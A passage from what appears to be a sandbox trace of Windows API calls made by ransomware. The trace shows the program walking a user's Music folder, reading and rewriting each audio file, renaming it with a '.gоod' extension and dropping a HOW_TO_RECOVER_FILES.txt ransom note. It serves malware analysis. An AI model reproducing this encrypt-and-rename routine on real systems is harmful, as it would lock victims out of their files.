nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x35ffa10*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0222.421] CloseHandle (hObject=0x828) returned 1 [0222.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", lpFilePart=0x0) returned 0x59 [0222.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0222.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0222.422] GetFileType (hFile=0x828) returned 0x1 [0222.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0222.422] GetFileType (hFile=0x828) returned 0x1 [0222.422] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x7c69 [0222.422] WriteFile (in: hFile=0x828, lpBuffer=0x3600ce0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3600ce0*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0222.422] CloseHandle (hObject=0x828) returned 1 [0222.422] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", lpFilePart=0x0) returned 0x59 [0222.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0222.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0222.422] GetFileType (hFile=0x828) returned 0x1 [0222.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0222.422] GetFileType (hFile=0x828) returned 0x1 [0222.422] ReadFile (in: hFile=0x828, lpBuffer=0x3602fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3602fd8*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0223.952] CloseHandle (hObject=0x828) returned 1 [0223.952] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", lpFilePart=0x0) returned 0x59 [0223.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0223.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0223.953] GetFileType (hFile=0x828) returned 0x1 [0223.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0223.953] GetFileType (hFile=0x828) returned 0x1 [0223.953] WriteFile (in: hFile=0x828, lpBuffer=0x3496b18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3496b18*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0223.953] CloseHandle (hObject=0x828) returned 1 [0223.953] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", lpFilePart=0x0) returned 0x59 [0223.953] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav.gоod", lpFilePart=0x0) returned 0x5e [0223.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0223.953] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64201d70, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xdcee5c00, ftLastAccessTime.dwHighDateTime=0x1d4d522, ftLastWriteTime.dwLowDateTime=0x81b3859e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c79)) returned 1 [0223.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0223.953] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav.gоod")) returned 1 [0223.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", lpFilePart=0x0) returned 0x4d [0223.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0223.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a"), fInfoLevelId=0x0, lpFileInformation=0x35622b0 | out: lpFileInformation=0x35622b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b92080, ftCreationTime.dwHighDateTime=0x1d4cf39, ftLastAccessTime.dwLowDateTime=0xd32eb80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0xd32eb80, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0x1179c)) returned 1 [0223.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0223.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", lpFilePart=0x0) returned 0x4d [0223.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0223.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0223.957] GetFileType (hFile=0x828) returned 0x1 [0223.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0223.958] GetFileType (hFile=0x828) returned 0x1 [0223.958] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0223.958] ReadFile (in: hFile=0x828, lpBuffer=0x35626d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x35626d8*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0223.958] CloseHandle (hObject=0x828) returned 1 [0223.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", lpFilePart=0x0) returned 0x4d [0223.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0223.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0223.959] GetFileType (hFile=0x828) returned 0x1 [0223.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0223.959] GetFileType (hFile=0x828) returned 0x1 [0223.959] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1179c [0223.959] WriteFile (in: hFile=0x828, lpBuffer=0x3563978*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3563978*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0223.959] CloseHandle (hObject=0x828) returned 1 [0223.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", lpFilePart=0x0) returned 0x4d [0223.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0223.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0223.959] GetFileType (hFile=0x828) returned 0x1 [0223.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0223.959] GetFileType (hFile=0x828) returned 0x1 [0223.959] ReadFile (in: hFile=0x828, lpBuffer=0x3565c40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3565c40*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0223.986] CloseHandle (hObject=0x828) returned 1 [0223.986] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", lpFilePart=0x0) returned 0x4d [0223.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0223.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0223.986] GetFileType (hFile=0x828) returned 0x1 [0223.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0223.987] GetFileType (hFile=0x828) returned 0x1 [0223.987] WriteFile (in: hFile=0x828, lpBuffer=0x3564990*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3564990*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0223.987] CloseHandle (hObject=0x828) returned 1 [0223.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a", lpFilePart=0x0) returned 0x4d [0223.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a.gоod", lpFilePart=0x0) returned 0x52 [0223.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0223.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b92080, ftCreationTime.dwHighDateTime=0x1d4cf39, ftLastAccessTime.dwLowDateTime=0xd32eb80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0x81b84a0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x117ac)) returned 1 [0223.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0223.987] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\OBQS.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\obqs.m4a.gоod")) returned 1 [0223.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0223.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0223.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0223.988] GetFileType (hFile=0x828) returned 0x1 [0223.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0223.988] GetFileType (hFile=0x828) returned 0x1 [0223.989] WriteFile (in: hFile=0x828, lpBuffer=0x35e4498*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x35e4498*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0223.990] CloseHandle (hObject=0x828) returned 1 [0223.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0223.990] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69", lpFilePart=0x0) returned 0x36 [0223.990] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0342a80, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0xf39423c0, ftLastAccessTime.dwHighDateTime=0x1d4c5ed, ftLastWriteTime.dwLowDateTime=0xf39423c0, ftLastWriteTime.dwHighDateTime=0x1d4c5ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0223.990] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0342a80, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0xf39423c0, ftLastAccessTime.dwHighDateTime=0x1d4c5ed, ftLastWriteTime.dwLowDateTime=0xf39423c0, ftLastWriteTime.dwHighDateTime=0x1d4c5ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.990] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b76070, ftCreationTime.dwHighDateTime=0x1d4c884, ftLastAccessTime.dwLowDateTime=0xc6eb5b40, ftLastAccessTime.dwHighDateTime=0x1d4d4b1, ftLastWriteTime.dwLowDateTime=0xc6eb5b40, ftLastWriteTime.dwHighDateTime=0x1d4d4b1, nFileSizeHigh=0x0, nFileSizeLow=0x1140f, dwReserved0=0x0, dwReserved1=0x0, cFileName="i_oC.mp3", cAlternateFileName="")) returned 1 [0223.991] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e559e20, ftCreationTime.dwHighDateTime=0x1d4d32f, ftLastAccessTime.dwLowDateTime=0x49028b0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x49028b0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RsSY7F9XV", cAlternateFileName="RSSY7F~1")) returned 1 [0223.991] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb343f1a0, ftCreationTime.dwHighDateTime=0x1d4ca17, ftLastAccessTime.dwLowDateTime=0xf1f5e5a0, ftLastAccessTime.dwHighDateTime=0x1d4c875, ftLastWriteTime.dwLowDateTime=0xf1f5e5a0, ftLastWriteTime.dwHighDateTime=0x1d4c875, nFileSizeHigh=0x0, nFileSizeLow=0xd8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="V6NDQ.wav", cAlternateFileName="")) returned 1 [0223.991] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd61560, ftCreationTime.dwHighDateTime=0x1d4c5e2, ftLastAccessTime.dwLowDateTime=0xc5f88af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5a, ftLastWriteTime.dwLowDateTime=0xc5f88af0, ftLastWriteTime.dwHighDateTime=0x1d4cc5a, nFileSizeHigh=0x0, nFileSizeLow=0x4445, dwReserved0=0x0, dwReserved1=0x0, cFileName="zqOb.mp3", cAlternateFileName="")) returned 1 [0223.991] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.991] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0223.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0223.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0223.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0223.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69", lpFilePart=0x0) returned 0x36 [0223.991] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0342a80, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0xf39423c0, ftLastAccessTime.dwHighDateTime=0x1d4c5ed, ftLastWriteTime.dwLowDateTime=0xf39423c0, ftLastWriteTime.dwHighDateTime=0x1d4c5ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0223.991] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0342a80, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0xf39423c0, ftLastAccessTime.dwHighDateTime=0x1d4c5ed, ftLastWriteTime.dwLowDateTime=0xf39423c0, ftLastWriteTime.dwHighDateTime=0x1d4c5ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.992] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b76070, ftCreationTime.dwHighDateTime=0x1d4c884, ftLastAccessTime.dwLowDateTime=0xc6eb5b40, ftLastAccessTime.dwHighDateTime=0x1d4d4b1, ftLastWriteTime.dwLowDateTime=0xc6eb5b40, ftLastWriteTime.dwHighDateTime=0x1d4d4b1, nFileSizeHigh=0x0, nFileSizeLow=0x1140f, dwReserved0=0x0, dwReserved1=0x0, cFileName="i_oC.mp3", cAlternateFileName="")) returned 1 [0223.992] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e559e20, ftCreationTime.dwHighDateTime=0x1d4d32f, 